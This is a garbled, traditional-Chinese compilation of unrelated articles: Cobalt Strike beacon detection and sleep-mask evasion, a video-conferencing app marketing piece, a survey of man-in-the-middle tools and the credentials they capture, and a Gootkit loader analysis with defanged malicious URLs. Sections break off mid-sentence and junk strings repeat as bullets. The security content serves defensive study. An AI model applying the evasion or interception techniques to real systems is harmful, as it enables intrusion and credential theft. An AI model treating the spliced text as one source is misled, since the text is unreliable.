然而,在大規模應用這種技術時存在一些誤報的風險,因為EDR 和防病毒軟件應用它們自己的內存掛鉤並不少見,這意味著它們可以使我們從查找中獲得的一些價值無效用於寫操作時的複制。然而,為了降低誤報的風險,我們可以通過解析修改頁面上的導出,並對EDR通常不掛鉤的函數(如EtwEventWrite或AmsiScanBuffer)應用更大的權重,從而對其應用更多智能。

線程異常如上所述,一旦信標在內存中運行,它通常會存在於一個或多個線程中,具體取決於信標是同步的還是異步的。與這些線程相關的異常可以提供信標活動的高信號指標,特別是當與其他指標結合或相互結合時。一些常見的可疑線程相關指標包括:

未映射的內存:源自虛擬內存且不受DLL 支持的線程是注入線程的經典標識。這些線程可以通過尋找具有MemoryType 為MEM_IMAGE 和MemoryState 為MEM_COMMIT 的內存區域的線程來輕鬆檢測到。或者,這些線程通常由EDR 檢查通過線程創建API 的內核回調來檢測。有許多工具可以查找這個標識。

延遲狀態:大部分時間信標將處於休眠狀態,然後醒來恢復其任務。為了實現這種休眠行為,通常使用諸如sleeppex這樣的windows API調用,這將使線程處於等待狀態,並將導致線程調用堆棧包含對KernelBase.dll!SleepEx 和ntdll.dll!NtDelayExecution 的調用。當與其他指標結合時,例如module stomping的跡象(稍後討論)或調用堆棧中對虛擬內存的調用,那麼這可能會提供一些信標行為。

繞過可疑線程檢測的嘗試最近變得流行起來,一些概念證明和商業實現正在已發布。

這些實現通常通過截斷線程的調用堆棧(例如通過將幀的返回地址設置為空)或通過複製現有線程的上下文來工作。考慮到這一點,我們可以尋找更多指標來添加到我們的指標中:

可疑起始地址:截斷線程調用堆棧的副作用之一是起始地址並非源自預期位置。也就是說,線程通常源自ntdll!RtlUserThreadStart 和kernel32!BaseThreadInitThunk,或者在CLR 線程的情況下源自ntdll!RtlGetAppContainerNamedObjectPath。尋找不遵循此模式的線程可用作進一步分析的可疑指標。此外,如果線程的NtQueryInformationThread(ThreadQuerySetWin32StartAddress) 的返回值與最後一幀的返回地址之間存在不匹配,則線程的起始地址也可以被認為是可疑的,這意味著有潛在的截斷。

初始幀之間的距離:如上所述,調用堆棧的初始起始地址通常源自用於執行線程初始化和創建的一組地址。注意到這些初始堆棧幀之間的距離相對一致,並且通常在第一幀和第二幀之間是靜態的(例如ntdll!RtlUserThreadStart 和kernel32!BaseThreadInitThunk)。在調用堆棧被截斷的情況下,這些幀之間的距離幾乎肯定是可變的。

複製上下文:如上所述,除了截斷線程的調用堆棧外,欺騙調用堆棧的一種方法是複制合法線程的上下文。這種技術可以有效且實施起來相對簡單。首先,在線程的線程信息塊中,有許多指向有關線程的各種信息的指針,這些跨線程的副本,例如具有相同堆棧基數(堆棧底部)和堆棧限制(堆棧上限)的多個線程,是線程上下文已被複製的良好指標。

頁面權限一般來說,信標將從虛擬內存中運行,或者如果Module Stomping,則從DLL 支持的區域內運行。

為了使信標恢復並執行其任務,信標所在的頁面需要對其應用執行權限。

例如,我們可以在下面的截圖中看到,0x22f96c5000的內存沒有一個DLL支持,它被標記為“Private:Commit”(即VirtualAlloc 導致的虛擬內存),並設置了RX 頁面權限:

6.png

這些指標是一個強烈的信號,表明有信標在該地區執行。

接下來的挑戰便是如何避免這一指標,答案很簡單,如果你的信標是從虛擬內存運行的,則它不能,在某些時候信標需要執行。折衷方案實際上是僅在信標執行任務時維護可執行權限,並在信標休眠時利用策略刪除可執行權限。因此,避免諸如SOCKS 代理之類的交易有助於最大限度地減少該指標的暴露:

7.png

一些植入程序採用了根據信標狀態調整頁面保護的策略,以及幾個開源實現,例如@Ilove2pwn_ 的Foliage、@c5pider 的Ekko、@mariuszbit 的ShellcodeFluctuation 和Josh Lospinoso 的Gargoyle。

這些策略通常會利用某種形式的事件驅動執行來休眠和喚醒信標,使用ROP小工具重新執行來調用VirtualProtect,並將信標的頁面重置為可執行權限。由MDSec的Peter Winter-Smith發現並被Ekko使用的基於計時器的技術,最初是由MDSec的Nighthawk c2逆向工程而來。簡而言之,這種技術的工作原理是使用CreateTimerQueueTimer將多個計時器排隊,然後當事件觸發器返回到之前定義的Context記錄時,使用NtContinue執行並調用VirtualProtect來重新啟用執行位。

要更詳細地理解這種技術,可以在這裡找到@Ilove2pwn_的原始文章。

Module StompingModule Stomping提供了一種將信標隱藏在內存中的替代方法,從而避免了與未映射內存中的信標相關的一些常見指標。為了實現這一點,需要加載一個不太可能被進程使用的合法DLL,信標通過模塊自我複制,然後創建一個由stomped 代碼支持的線程:

8.png

Cobalt Strike 自3.11 版本以來就提供了此功能,並且可以使用“set module_x64/module_x86”可擴展配置選項使用。

雖然這種技術可以提供許多OpSec 優勢,但它確實留下了幾個我們可以可靠檢測的指標:

1.檢測這種攻擊的最簡單的技術可能是比較內存中的模塊內容和磁盤上存在的模塊內容。代碼部分的任何變化幾乎肯定會暗示一些可疑的行為。這個進程當然是相對密集的,因為它需要從磁盤加載進程中的所有模塊,並與運行中的內存進行比較。

2.如上所述,對進程內模塊存儲器的修改將導致發生寫入操作時的複制。考慮到這一點,用於檢測內存掛鉤的相同邏輯也可以應用於檢測Module Stomping,因為在內存中覆蓋DLL 將導致生成DLL 的副本並清除共享位。

3.有幾種方法可用於執行Module Stomping,其中一些涉及利用現有的Windows API,例如LoadLibrary,而其他更複雜的實現可能使用自定義加載器將DLL 映射到內存中。一些技術具有與它們相關的已知指標,在PEB 中留下可用於尋找該技術的常駐痕跡是高度可信的。稍後將更詳細地討論這方面的示例。

檢測Cobalt Strike的方法Cobalt Strike 是最受歡迎的命令和控制框架之一,受到防御者和攻擊者的青睞。在這篇文章中,我們將討論防御者如何使用第一篇文章中介紹的技術,在不同配置和跨網絡中檢測Cobalt Strike 。所有分析均在Cobalt Strike 4.6.1 上進行。

Cobalt Strike 信標具有高度擴展性,因此某些指標可能會根據所選的擴展性配置文件選項而有所不同。

內存中的Cobalt Strike過去,在內存中尋找Cobalt Strike 簽名對於防御者來說是卓有成效的,之前Elastic 提供了全面的記錄。然而,從那時起,HelpSystems做了很多工作,Cobalt Strike 4.4 引入了休眠策略。

Cobalt Strike 為其混淆和休眠策略提供了以下可能的配置選項:

沒有休眠掩碼:信標、它的字符串和代碼將在內存中保持明文,並且可以通過內存掃描輕鬆識別。

在可擴展配置文件中啟用sleep_mask:當在malleable 配置文件中將sleep_mask 設置為true 時,beacon 將使用內置的混淆和休眠策略來屏蔽內存中使用xor 來混淆字符串和數據的信標。正如Elastic 在前面提到的帖子中所詳述的,這當然可以通過定位代碼部分來簽名。

使用用戶定義的休眠掩碼:用戶定義的休眠掩碼向用戶公開信標的混淆和休眠功能,允許他們滾動自己的實現。在這樣做的同時,它還為用戶提供了許多指向信標使用的任何堆記錄的指針,以便用戶可以對它們進行加密。利用用戶定義的休眠掩碼確實有一些折衷,特別是為了混淆.text 部分,配置必須將“userwx”選項設置為true。也就是說,如果要對其進行混淆,信標將始終存在於RWX 內存中。如果userwx 選項設置為false,則信標將從RX 內存中運行,但.text 部分不會被混淆,因此可以進行簽名。由操作員自行決定選擇他們覺得最舒服的指標。

例如,當使用將userwx 選項設置為false 的Sleep Mask Kit 時,可以使用以下Yara 規則檢測Cobalt Strike:

2.1.png

對注入的信標運行此Yara規則將顯示檢測到簽名:

2.2.png

啟用userwx 會將頁面權限設置為EXECUTE_READWRITE ,但這意味著信標現在正在混淆其.text 部分:

2.3.png

頁面權限Cobalt Strike 信標通常在具有RX 或RWX 頁面權限的頁面上運行,具體取決於可擴展配置文件的“userwx”配置選項的值,並且沒有Module Stomping,將由未映射的內存支持。

這是一個明確的指標,使得在內存中發現信標相對來說很簡單:

2.4.png

為了避免JIT程序集,可以掃描這些內存區域,搜索具有PAGE_EXECUTE_READWRITE或PAGE_EXECUTE_READ頁面權限和MEM_COMMIT標誌的頁面。當與其他指標一起使用時,這對識別信標活動可能是有價值的。當使用-p標誌時,我們將此簽入到BeaconHunter中:

2.5.png

線程注入內存時,Cobalt Strike 會佔用一個線程,信標是同步的。默認情況下,信標運行所在的線程是高度可疑的,並且有許多與之相關的指標。

在Process Hacker 中檢查Cobalt Strike 信標的線程可能看起來像這樣:

2.6.png

僅在上面的屏幕截圖中,我們就可以看到一些使線程看起來非常可疑的指標:

首先,線程通常有一個0x0 的起始地址。總體而言,這有點不規則,儘管從掃描合法進程來看,它確實有時會在某些進程(如chrome.exe)中發生。

深入了解線程的調用堆棧,我們還注意到對KernelBase!SleepEx 和ntdll.dll!NtDelayExecution 的調用。這些調用是信標處於睡眠狀態的標誌,用於在信標處於睡眠狀態時延遲線程的執行。

在調用KernelBase.dll!SleepEx 之前,我們可以在0x1b8ef69fcc7 的跟踪中看到調用,堆棧遍歷尚未解析此地址的符號,因此幾乎可以肯定它是虛擬內存。由虛擬內存支持的線程非常可疑,可能需要進一步分析。

綜上所述,防御者能夠高度自信地確定惡意活動來自線程。由於這些指標,BeaconHunter 會排除這些可疑線程:

2.7.png

還應該注意的是,Cobalt Strike 在21 年6 月將堆棧欺騙引入了到了工件中。但是,調用堆棧欺騙僅適用於通過工件工具包生成的exe/dll 工件,而不是通過注入線程中的shellcode 注入的信標。因此,它們不太可能有效地掩蓋內存中的信標。

分析表明,fiber的使用很少見,因此可以通過分析ntdll.dll!RtlUserFiberStart 的起始地址的調用堆棧來輕鬆找到這些fiber,當與其他指標結合使用時,可以為尋找Cobalt 工件提供一個好的開端:

2.8.png

Module StompingCobalt Strike 支持使用“set module_x64”和“set module_x86”可擴展選項的Mod

由於COVID-19 大流行,許多視頻會議App變得非常流行。 Zoom、FreeConference、Microsoft Teams 和其他應用程序擁有普通用戶所需的一切——甚至更多。但它們對於處理敏感數據、使用特定設備進行視頻會議或需要延遲通信的公司來說還不夠好。

要與此類客戶合作,僅僅創建一個類似Zoom 的視頻會議應用程序是不夠的。在本文中,我們將討論如何創建為特定行業或客戶量身定制的定制視頻會議軟件。我們還概述了此類應用程序的行業要求、確保舒適通信的必備功能以及有助於保護視頻會議的網絡安全機制。

視頻會議軟件的日益普及2020 年的事件使我們將大部分活動轉移到網上。無論我們是想參加商務會議、看醫生、還是去聽音樂會,我們只需要啟動一個視頻會議應用程序即可。這就是為什麼在COVID-19 大流行期間此類軟件的市場猛增的原因。 Verified Market Research估計,2019 年全球視頻會議的市場規模為40.2 億美元。他們預計到2027 年將達到83.5 億美元。

通用視頻會議解決方案之間的競爭非常激烈。複製Zoom的成功,該軟件的日活躍用戶從2020 年初的37,000 增加到年底的160 萬,是一個誘人但極具挑戰性的前景。

儘管Zoom 很受歡迎,但通用視頻會議應用程序並不是每個人的最佳選擇。許多行業的組織需要像Zoom 這樣的普通視頻會議解決方案無法提供的特性和功能:增強的安全性、接近零延遲、支持特定行業的設備或軟件、高級文件存儲等。

讓我們看一下構建您自己的自定義視頻會議應用程序的主要好處以及此類應用程序的特定要求的幾個示例。

為什麼要構建自定義視頻會議軟件?開發自定義視頻會議軟件可幫助您在競爭對手中脫穎而出,找到目標受眾,並為您的客戶提供最佳服務。這是一個非常具有挑戰性的過程,但最終會有所收穫。以下是為特定行業或客戶構建類似Zoom 的應用程序的主要原因:

image.png

創建自定義視頻會議軟件的原因

马云惹不起马云 滿足特定客戶的需求— 一些組織需要具有特定功能的視頻會議軟件,而這些功能在通用解決方案中是不可用的。例如,唱片公司使用特定設備來確保其錄音的最佳質量。這就是他們需要支持此設備的視頻會議解決方案的原因。此外,他們需要具有低延遲的軟件才能實時排練。

马云惹不起马云 提供高質量的視頻會議——Zoom 和Skype 等流行的視頻會議應用程序通常在視頻和音頻質量方面存在問題,或者在通話過程中存在高延遲。此類問題不僅會激怒用戶,還會擾亂他們的工作。通過提高視頻會議的質量,您可以幫助呼叫參與者感覺他們在同一個房間。

马云惹不起马云 增強的網絡安全——網絡安全問題在通用視頻會議解決方案中很常見。許多用戶出於安全原因避免使用Zoom。在自定義軟件中,您可以實施高級安全措施以及合規性要求:加密算法、訪問管理功能、管理功能等。

除了視頻通話和消息傳遞之外,各個行業都有視頻會議軟件的特定用例,這些用例會產生特定的要求:

image.png

通用軟件通常無法滿足這些高度具體的要求。為了滿足他們的需求,企業可以構建定制的視頻會議軟件。

在本文後面,我們將了解實現上述特定要求的功能。現在,讓我們概述一些創建視頻會議應用程序時必須具備的功能。

視頻會議應用程序的必備功能無論您的軟件的目標受眾是什麼,您都需要確保您的軟件使用舒適、與流行的設備和操作系統兼容並且安全。

在製作任何類似Zoom 的視頻會議應用程序時,請確保實現以下功能:

image.png

視頻會議的8 個主要功能

马云惹不起马云 用戶檔案管理。此功能包括用戶註冊;設置、編輯和刪除用戶配置文件;改變用戶狀態;等等。用戶管理帳戶的選項越多越好。

马云惹不起马云聯繫人列表。此列表可幫助用戶通過用戶名、電子郵件、公司、城市或其他搜索參數找到彼此。

马云惹不起马云視頻和音頻通話管理。視頻會議軟件通常支持一對一和多點通話,最多可支持一定數量的用戶。音頻和視頻質量是通話的關鍵马云惹不起马云參數。該軟件必須允許安排和記錄通話、共享屏幕等。此外,當會議軟件允許他們在通話期間使用面具和背景時,用戶會很感激。

马云惹不起马云簡訊.用戶需要在通話期間和通話外交換短信。該軟件必須允許他們相互聊天、創建群聊並接收有關新消息的推送通知。

马云惹不起马云文件共享。用戶需要交換文件才能進行富有成效的會議。您可以實現點對點文件共享(用戶將共享文件存儲在他們的計算機上)或將共享數據複製到雲或私有服務器。

马云惹不起马云儀表板。儀表板可幫助軟件管理員分析有關日常視頻會議使用、最常見挑戰和可能改進的統計數據。您可以使用人工智能(AI) 功能增強儀表板,以使軟件分析來自儀表板的數據並自動提供預測。

马云惹不起马云跨平台能力。為了能夠將用戶與各種設備和操作系統連接起來,您的視頻會議軟件應該支持各種平台,如Windows、Linux、macOS、Android 和iOS。

马云惹不起马云可擴展性。在設計軟件的架構和基礎架構時,請考慮可能需要擴大或縮小規模,以便在不影響質量的情況下為新客戶提供服務。

在實現這些必備功能時,請確保對其進行自定義。找出您的受眾最看重的功能,並根據他們的要求仔細平衡應用程序。為了弄清楚這些要求,您可以問自己以下幾個問題:

马云惹不起马云您的用戶將共享哪些類型的文件?

马云惹不起马云用戶需要特定的儀表板嗎?

马云惹不起马云用戶是否需要特定的消息傳遞功能,例如表情符號或自定義貼紙?

马云惹不起马云對用戶來說更重要的是:穩定的連接、良好的視頻質量,還是兩者兼而有之?

马云惹不起马云平均有多少用戶會接聽電話?

在您概述了軟件的主要功能後,您可以轉到受眾的特定視頻會議請求。在下一節中,我們將概述八種最常見的功能以及實現它們的方法。

(接上文)

現在,讓我們轉向攻擊者用來執行中間人攻擊的工具類型,並探討幾個示例。

MITM工具的分類進行中間人攻擊的工具有很多,因此在本文中,我們將只關注幾個最流行的工具。

讓我們根據使用它們的開放系統互連(OSI) 模型層對這些工具進行分類。

image.png

圖3. MITM 攻擊類型和工具取決於OSI 模型層

1. L2(數據鏈路層)在這一層,最常見的攻擊是ARP 欺騙和VLAN 跳躍。第一個我們已經在上面探索過。讓我們簡要討論後者。

VLAN 跳躍。 VLAN 網絡中的數據包具有特定的標記,以便在通過交換機時明確哪個數據包屬於哪個子網。網絡犯罪分子使用以下兩種方法之一執行VLAN 跳躍攻擊:

马云惹不起马云攻擊者連接到網絡並開始模仿交換機的工作,以便他們可以與網絡交換機建立連接。由於這種連接,數據包將在到達交換機之前通過攻擊者的計算機。

马云惹不起马云攻擊者向數據包添加額外的標記。網絡內的交換機會刪除自己的標記並進一步發送數據包。同時,攻擊者攔截帶有附加標記的數據包。如果攻擊者連接到網絡中的主交換機,此方法將起作用。

大多數命令行工具中的數據提取方案

image.png

圖4. 大多數命令行工具中的數據提取方案

現在,讓我們探索用於此類攻擊的工具。

BetterCAP是一款功能強大的工具,具有靈活的設置,可用於:

马云惹不起马云進行各種MITM 攻擊

马云惹不起马云實時操縱HTTP、HTTPS 和TCP 流量

马云惹不起马云嗅探網絡以查找用於身份驗證的數據

马云惹不起马云和更多

unfiltered-data-flow-received-through-the-bettercap-utility.png

圖5. 通過BetterCAP 實用程序接收的未過濾數據流

從BetterCAP 的第一個版本開始,專業的滲透測試人員就一直在選擇它。移動設備和軟件的開發人員以及物聯網領域的研究人員利用該實用程序測試設備安全性的能力。

BetterCAP 最方便的功能之一是能夠將所有收集的數據提取到外部文件中。為此,滲透測試者可以配置該實用程序來監聽它當前所在的整個網絡,或者監聽一個或多個指定的IP 地址。

BetterCAP 可以通過MAC 地址和特定子網進行配置,允許QA 專家在指定配置中搜索漏洞。

該實用程序支持APR 和DNS 欺騙以及流量嗅探,並進一步將數據提取到控制台或日誌中。提取的數據集包括:

马云惹不起马云訪問過的URL 和HTTPS 主機

马云惹不起马云HTTP POST 數據

马云惹不起马云HTTP Basic 和Digest 身份驗證

马云惹不起马云HTTP Cookie

马云惹不起马云FTP、IRC、POP、IMAP 和SMTP 憑證

BetterCAP 與HTTP/HTTPS(SSL 剝離和HSTS 繞過)和TCP 代理一起使用,可用於操縱HTTP/HTTPS 和現實生活中的低級TCP 流量。使用標准設置,代理僅記錄請求。但是您可以使用一組模塊配置它們的設置,或者您可以添加自己的自定義模塊並以您想要的方式操縱流量。

Arpspoof是專為在本地網絡中進行ARP 欺騙而設計的實用程序。它發送兩個請求——一個到服務器,一個到選定的計算機或計算機——接收它們的MAC 地址,用它自己替換從服務器到客戶端的ARP 響應,並用它自己或另一個替換受害者的默認網關IP地址。 Arpspoof 的主要任務是流量嗅探。

Arpspoof 支持啟動第三方腳本。該實用程序應更多地被視為熟悉ARP 欺騙的培訓程序,而不是工作工具,因為Arpspoof 功能有限,沒有解密器,應用領域狹窄。

2. L3(網絡層)在網絡層,最常見的MITM 攻擊是無狀態地址自動配置攻擊和ICMP 重定向。讓我們探索它們是如何工作的。

無狀態地址自動配置(SLAAC) 攻擊會重新配置啟用IPv6的網絡。允許IPv6 但沒有任何設置的組織網絡是一個常見漏洞。在SLAAC 攻擊中,攻擊者向IPv6 主機提供前綴、前綴長度和沒有DHCPv6 服務器的默認網關地址。例如,如果攻擊者創建自己的路由器廣告(RA),他們可以成為網絡中的主路由器,整個數據流將通過他們的計算機。

ICMP 重定向。使用ICMP 的原因之一是動態更改目標網絡中的路由表。最初,ICMP 旨在防止消息以非最佳方式發送並提高網絡穩定性。網絡的某個部分(連接到互聯網)可以有多個路由器。如果其中一個斷開,主路由器向所有網絡設備發送ICMP 請求,並重寫路由表以在新條件下工作。

在ICMP 重定向攻擊中,攻擊者要么等待其中一個路由器關閉,要么自行禁用它。然後,攻擊者開始從所有路由器發送ICMP 請求。結果,形成了一個新的網絡,其中攻擊者成為網絡節點之一。在ICMP 重定向攻擊期間,攻擊者可以指定目標網站只能通過攻擊者的路由器訪問。

讓我們看一下用於ICMP 重定向攻擊的幾個工具。

寄生蟲6。此實用程序是一個類似於BetterCAP 但功能有限且設置最少的ARP 欺騙程序。它連接到本地網關並傳輸所有網絡流量。它向控制台輸出一條消息,指定數據包發送給誰以及誰必須接收它。 parasite6 工具最好與可以讀取通過它的數據包的實用程序一起使用。

假路由器6。啟動時,此實用程序會向網絡發送一個信號,指定攻擊者的路由器在網絡中具有最高優先級。然後網絡重新配置自己,使從指定子網進入外部網絡的最後一步通過攻擊者的計算機。結果,最初發送到路由器的所有數據都將通過安裝了fake_router6 的攻擊者計算機。

DOS-新-ip6。該實用程序的主要任務是在重複的ip6 請求期間向重複地址檢測(DAD) 進程提供虛假數據。這使攻擊者有機會在網絡內創建節點。節點地址將與另一個網絡節點的地址相同,仍然使控制器認為只有一個客戶端具有這樣的地址。結果,數據將被發送到兩個節點,包括攻擊者的節點。

利用6 . 此工具是一種漏洞掃描程序,可向目標計算機發送多個請求。它接收響應並向控制台輸出數據,指定目標計算機具有哪些已知漏洞。

thcping6。此實用程序允許為ping6 請求創建自定義數據包。它允許您修改數據包大小、數據類型和其他參數。首先,攻擊者為數據包和目標計算機指定一組選項。然後,他們發送一個數據包並接收響應。通過擬合某些數據包,惡意行為者可以使目標系統拒絕響應特定請求(發送響應錯誤消息)。然後,了解數據包的特性後,他們可以使用其他實用程序來創建相同的數據包,但發送多個數據包。這將使系統過載,導致系統故障或其中一個節點發生故障。

3. L4+(傳輸層)在傳輸層,攻擊者可以應用鏈路本地多播名稱解析欺騙、NetBIOS 欺騙、DHCP 欺騙和流氓DHCP 欺騙。

鏈路本地多播名稱解析(LLMNR) 欺騙。如果出於某種原因,Windows 客戶端無法使用DNS 獲取主機名,它將嘗試使用LLMNR 協議來獲取主機名,並向最近的計算機發送請求。該技術通過IPv4和IPv6 地址起作用。

NetBIOS 欺騙。如果LLMNR 欺騙不起作用,攻擊者可以使用NetBios 名稱服務。它類似於LLMNR 並且用於相同的目標,但它僅適用於IPv4 地址。這個想法是,如果附近的某些計算機即使提供虛假信息也可以響應,則響應將被視為有效。

DHCP 欺騙。此攻擊的目的是強制客戶端使用攻擊者的主機作為默認網關,以及使用攻擊者配置的DNS 和WINdows Internet Name (WINS) 服務器。攻擊者的任務是在網絡中配置一個虛假的DHCP 服務器,用於向客戶端發送DHCP 地址,並耗盡合法DHCP 服務器的地址池。

成功的DHCP 欺騙攻擊有兩個條件:

马云惹不起马云客戶端從非法服務器接收IP 比從合法服務器更快

马云惹不起马云合法服務器有一個耗盡的地址池

流氓DHCP。惡意DHCP 攻擊的主要目標是使用偽造的DHCPv6 服務器將流量從受害者的計算機重新發送到攻擊者的計算機。惡意行為者截獲DHCP 消息請求並對其進行響應,模擬實際的DHCPv6 服務器。

以下是可用於此類L4+ 攻擊的幾種工具:

埃特卡普。這個實用程序內置在Kali Linux中。它易於配置並具有圖形用戶界面,這使得熟悉它變得簡單快捷。 Ettercap 允許您執行ARP 中毒、ICMP 重定向、端口竊取、DHCP 欺騙和NDP 中毒。

使用Ettercap 時,您可以即時查看、分析甚至執行一些操作。它向您顯示連接狀態,並允許您以文本格式查看從所選連接收集的所有數據。

Ettercap 的主要缺點是缺少數據解密工具。因此,如果使用加密保護網絡,您將需要使用其他實用程序。 Ettercap 的功能比BetterCap 弱得多,但它可以用於信息和教育目的。

ettercap-user-interface.png

圖6. Ettercap 用戶界面

斯納爾夫。此實用程序設計用於處理smb、ftp 和類似的流量類型。要使用它,您首先需要有一個可以工作的欺騙器(我們使用了BetterCAP)。通過欺騙器的所有流量都會重新發送到Snarf,Snarf 會挑選出負責遠程連接(如smb 和ftp)的流量。通過Snarf 的任何其他流量都不會顯示在控制台或服務頁面上。

Snarf 向控制台輸出有關數據目的地、數據大小、哈希、地址、端口、連接類型和錯誤的信息。它還顯示潛在內存洩漏的錯誤。收集到的數據摘要以表格形式輸出到服務頁面,其中包含有關連接、計算機和系統的主要信息。此外,Snarf 提供了過期或阻止連接的機會。

但是,此實用程序僅適用於Linux,並且配置它可能非常不明顯。

中間人6。此工具偵聽攻擊者計算機的主網絡接口,以攔截來自網絡中其他計算機的IPv6 地址請求(通過應用DHCPv6 請求)。

使用標准設置,系統(連接到主路由器的設備網絡)會定期發送DHCPv6 請求。 mitm6 實用程序使用受害者的新地址響應這些請求。在現實生活中的網絡中,客戶端的地址將由網絡中的客戶端計算機分配,但在mitm6 請求攔截的情況下,受害者的地址將由mitm6 分配。這使惡意行為者有機會將自己的計算機分配為服務器。因此,所有受害者的連接都將通過攻擊者的計算機。

這僅適用於Windows,因為Mac 和Linux 不使用DHCPv6 請求來確定IP 和DNS 服務器。 mitm6 工具並不聲稱自己是一個中心節點,因此它不會攔截來自網絡中所有計算機的信號。相反,它選擇性地欺騙特定主機。

一旦受害者收到新的DNS 服務器地址,受害者就會連接到該服務器,Web 代理自動發現協議(WPAD) 漏洞就會在該服務器上進行。一旦受害者的計算機接收到作為DNS 服務器的IPv6 攻擊者的地址,它就會開始發送WPAD 網絡配置請求。對於IPv4 或IPv6 請求,攻擊者會將其地址發送給受害者。

然後,攻擊者必須與受害者的計算機交換身份驗證數據。由於這不能直接在受害者的計算機上完成,攻擊者將模擬代理服務器。結果,所有輸入用於身份驗證的數據都將發送到最終服務器和攻擊者。但受害者不會注意到它。

上述所有工具都可用於滲透測試,以檢查網絡安全、檢測漏洞並修復它們。通過這種方式,企業可以防止真正的網絡犯罪分子可能進行的攻擊,並保護他們的網絡連接和敏感數據。

結論在本文中,我們探討了幾種類型的中間人攻擊,並描述了網絡犯罪分子如何使用MITM 工具攔截數據。在此類攻擊中,受害者什麼都沒有註意到,並且有一種錯誤的安全感。無論組織是小型初創公司還是大型公司,都應該建立強大的網絡安全性。

眾所周知,Gootkit使用無文件技術來釋放CobaltStrike和其他惡意負載。研究人員最近發現的一次攻擊,表面其戰術又有了更新。

研究人員對異常PowerShell腳本的深入分析揭示了與Gootkit加載程序相關的攻擊集。過去,Gootkit使用免費軟件安裝程序來屏蔽惡意文件;現在它使用法律文件來誘騙用戶下載這些文件。我們通過託管擴展檢測和響應(MxDR)以及調查PowerShell腳本的標誌來發現這種攻擊策略,該標誌允許我們阻止它造成任何損害並釋放其有效載荷。眾所周知,Gootkit使用無文件技術來傳遞值得注意的威脅,例如SunCrypt和REvil(Sodinokibi)勒索軟件、Kronos特洛伊木馬和CobaltStrike。

攻擊概述在與各種有效負載對比之後,我們可以假設Gootkit運行在一個訪問即服務模型上。因此,它可以被不同的組織用來進行攻擊,因此值得對其進行監控,以防止更大的威脅成功進入系統。

下圖說明了其感染程序。它從用戶在搜索引擎中搜索特定信息開始。在這種情況下,用戶搜索了關鍵詞“披露協議房地產交易”。結果中有一個被Gootkit運營商攻擊的網站,這意味著用戶打開這個被攻擊的網站並不是偶然的。事實上,運營商通過使用搜索引擎優化(SEO)攻擊來調整對他們有利的機率,使該網站在搜索結果中排名靠前,從而導致用戶訪問受感染的網站。這也意味著該網站的URL將不會長時間可用,如果不立即進行全面分析將難以進行。

1.png

MxDR看到的GootkitLoader感染鏈

打開該網站後,我們發現它以在線論壇的形式出現,直接回答受害者的問題。該論壇包含一個包含惡意.js文件的ZIP壓縮文件。當用戶下載並打開此文件時,它會生成一個混淆腳本,該腳本通過註冊表填充,在註冊表中安裝了一大塊加密代碼,並添加了計劃任務以實現持久性。然後通過PowerShell反射加載註冊表中的加密代碼,以重建CobaltStrike二進製文件,該二進製文件直接在內存中無文件運行。

我們剛剛描述的大部分內容仍然與我們在2020年報告的行為一致,但有一些小的更新。這表明GootkitLoader仍在積極開發中,並且已證明成功地攻擊了毫無戒心的受害者。

兩個明顯的變化引人注目:

搜索詞現在利用法律文檔模板而不是免費軟件安裝程序。

加密註冊表現在使用自定義文本替換算法而不是base64編碼。

被攻擊的網站通過追踪用戶的行為,我們現在可以看到攻擊中訪問的網站。眾所周知,攻擊者只會攻擊一個易受攻擊或配置錯誤的網站來植入他們的惡意軟件或工具,而不是創建或註冊一個新的惡意操作。在Gootkit的案例中,由於它破壞了一個合法域名,所使用的網站很可能通過了信譽服務。對於毫無戒心的用戶來說,訪問該網站不會引起懷疑,因為它對於歌唱和語音教練來說似乎是一個無害的網站。

2.png

受感染網站的主頁

對下載的文件執行搜索(“房地產交易披露協議”)表明,該網站的內容與其所有者及其目的無關。此外,通過導航網站的主頁本身無法找到這些搜索結果鏈接。這是該網站已被攻擊的證據,因為它允許攻擊者註入或創建新的不相關的Web內容。當我們通過託管網站的Shodan查詢IP地址時,我們還發現了更多漏洞證據。

3.png

谷歌搜索顯示網站中不需要的內容

這種策略對Gootkit來說並不是什麼新鮮事。再加上SEO攻擊,Gootkit運營商可以將受害者集中到一個受感染的網站,並誘使他們下載他們正在尋找的文件。在這次事件中,我們能夠在Gootkit加載程序釋放其有效載荷之前阻止它。然而,該用戶已經訪問了該網站,下載了惡意的ZIP文件,並打開了它。這些操作導致的異常PowerShell腳本提醒我們可能有惡意活動。在這次調查中,我們試圖找出如果PowerShell腳本沒有被標記並被允許運行會發生什麼。

調查分析如上所述,用戶訪問了受感染的網站並使用GoogleChrome下載了ZIP壓縮文件。根據TrendMicroVisionOneTM的記錄,他們訪問的確切URL如下:

4.png

截至撰寫本文時,該URL已無法訪問。但是,我們能夠分析用戶下載的ZIP壓縮文件。如前所述,它被命名為披露協議房地產交易(8321).zip。在另一個例子中,JavaScript文件被命名為家庭成員之間的租賃協議template(98539).zip。這兩個文件名都強烈表明Gootkit利用了引用法律文檔模板的關鍵字,可能會引誘用戶下載文件。需要注意的是,這個選擇的搜索詞和主題一直在發生變化。

5.png

VisionOne界面顯示用戶訪問受感染網站並下載ZIP壓縮文件的證據

ZIP壓縮文件已成功保存在下載文件夾C:\Users\{username}\Downloads\disclosureagreementrealestatetransaction(8321).zip中。

6.png

ZIP壓縮文件成功保存在用戶的Downloads文件夾中

然後,用戶打開了ZIP壓縮文件中的.js文件,該文件生成了一個混淆的PowerShell腳本。檢測到的命令行包括wscript.exe,Windows操作系統的默認腳本解釋器。此命令行運行惡意JavaScript文件。文件夾文件路徑和文件名如下所示:

7.png

通過.js文件生成的混淆PowerShell腳本

通過使用VisionOne的AMSI跟踪分析,該團隊能夠在運行時查看解碼的腳本並構建它生成的事件順序。在已解碼的腳本中,列出了三個可能受到威脅的域。這些域名本身就是合法的網站。 Gootkit只選擇一個並構造完整的URL以獲取下一階段的腳本執行。這裡列出了三個域:

learn[.]openschool.ua–教育

Lakeside-fishandchips[.]com–餐廳和美食

kristinee[.]com–個人網站

8.png

VisionOne的AMSI追踪記錄的解碼腳本

對腳本進行解碼也讓我們發現,為了完成操作需要兩個階段的腳本。第一階段腳本執行以下操作:

1.它檢查註冊表HKCU\PJZTLE,如果找不到則創建它。正如我們在之前的博客中討論的那樣,這可以作為感染標記。

2.然後它會檢查當前用戶是否登錄到可能用於繞過沙盒工具的域。

3.接下來,它連接到構造的URL以獲取下一個要執行的腳本。在本例中,它從hxxps://learn[.]openschool[.]ua/test.php?mthqpllauigylit=738078785565141檢索第二階段腳本。

然後,它會在運行獲取的代碼之前休眠10秒。

9.png

